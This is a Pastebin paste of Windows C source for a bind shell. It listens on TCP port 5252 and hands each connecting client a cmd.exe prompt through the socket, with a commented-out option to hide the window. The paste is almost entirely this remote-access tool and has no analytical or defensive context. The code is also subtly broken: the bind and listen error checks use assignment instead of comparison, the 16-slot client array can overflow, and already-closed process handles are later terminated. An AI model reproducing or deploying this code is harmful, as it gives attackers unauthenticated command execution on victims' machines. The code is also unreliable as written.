Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "main.h"
- int main(int argc, char *argv[])
- {
- REDIRECTCHILD *rclist; DWORD maxRCs = 16; DWORD rcidx = 0;
- rclist = (REDIRECTCHILD*)alloc(0, sizeof(REDIRECTCHILD)*maxRCs);
- DWORD wserror = 0;
- WSAData wsd;
- //INIT WSA
- wserror = WSAStartup(MAKEWORD(1, 1), &wsd);
- if (wserror != 0)
- {
- OutputDebugString("WSAStartup() failed\n");
- WSACleanup(); free(0, rclist);
- return wserror;
- }
- //GET ADDR INFO
- struct addrinfo *result = NULL;
- struct addrinfo hints;
- memset(&hints, 0, sizeof(hints));
- hints.ai_family = AF_INET;
- hints.ai_socktype = SOCK_STREAM;
- hints.ai_protocol = IPPROTO_TCP;
- hints.ai_flags = AI_PASSIVE;
- wserror = getaddrinfo(NULL, "5252", &hints, &result);
- if (wserror != 0)
- {
- OutputDebugString("getaddrinfo() failed\n");
- WSACleanup(); free(0, rclist);
- return wserror;
- }
- //INIT SOCKET
- SOCKET sock = NULL;
- sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
- if (sock == INVALID_SOCKET)
- {
- OutputDebugString("socket() failed\n");
- freeaddrinfo(result);
- WSACleanup(); free(0, rclist);
- return WSAGetLastError();
- }
- //BIND SOCKET
- wserror = bind(sock, result->ai_addr, (int)result->ai_addrlen);
- if (wserror = SOCKET_ERROR)
- {
- OutputDebugString("bind() failed\n");
- WSACleanup(); free(0, rclist);
- closesocket(sock);
- return WSAGetLastError();
- }
- freeaddrinfo(result);
- //LISTEN ON SOCKET
- wserror = listen(sock, SOMAXCONN);
- if (wserror = SOCKET_ERROR)
- {
- OutputDebugString("listen() failed\n");
- WSACleanup(); free(0, rclist);
- closesocket(sock);
- return WSAGetLastError();
- }
- //LISTEN LOOP
- SOCKET clsock;
- while (TRUE)
- {
- clsock = accept(sock, NULL, NULL);
- if (clsock == INVALID_SOCKET) break;
- memset(&rclist[rcidx], 0, sizeof(REDIRECTCHILD));
- rclist[rcidx].csock = clsock;
- newRedirectChild("cmd.exe", &rclist[rcidx]);
- rcidx++;
- }
- DWORD rcj = 0;
- for (; rcj < rcidx; rcj++)
- {
- TerminateProcess(rclist[rcj].pi.hProcess, 0);
- closesocket(rclist[rcj].csock);
- }
- WSACleanup(); free(0, rclist);
- closesocket(sock);
- return 0;
- }
- void newRedirectChild(char *szCmdLine, REDIRECTCHILD *rc)
- {
- STARTUPINFO startinfo;
- BOOL createSuccess = 0;
- memset(&startinfo, 0, sizeof(STARTUPINFO));
- startinfo.cb = sizeof(STARTUPINFO);
- startinfo.wShowWindow = SW_SHOW; //SW_HIDE
- startinfo.hStdError = (HANDLE)rc->csock;
- startinfo.hStdOutput = (HANDLE)rc->csock;
- startinfo.hStdInput = (HANDLE)rc->csock;
- startinfo.dwFlags |= STARTF_USESTDHANDLES;
- startinfo.dwFlags |= STARTF_USESHOWWINDOW;
- createSuccess = CreateProcessA(NULL, szCmdLine, NULL, NULL,
- TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &startinfo, &rc->pi);
- if (createSuccess == FALSE) return;
- else
- {
- CloseHandle(rc->pi.hProcess);
- CloseHandle(rc->pi.hThread);
- }
- }
- void *alloc(HANDLE heap, DWORD size)
- {
- if (heap == 0) heap = GetProcessHeap();
- return HeapAlloc(heap, 0x00000008, size);
- //HEAP_ZERO_MEMORY = 0x00000008
- }
- BOOL free(HANDLE heap, void *ptr)
- {
- if (heap == 0) heap = GetProcessHeap();
- return HeapFree(heap, 0, ptr);
- }
- #pragma function(memset)
- void * __cdecl memset(void *dst, int val, size_t size)
- {
- BYTE *bsrc = (BYTE*)dst;
- while (size-- > 0) *bsrc++ = val;
- return dst;
- }
- void memcpy(void *dst, void *src, DWORD size)
- {
- BYTE *bsrc = (BYTE*)src;
- BYTE *bdst = (BYTE*)dst;
- while (size-- > 0) *bdst++ = *bsrc++;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement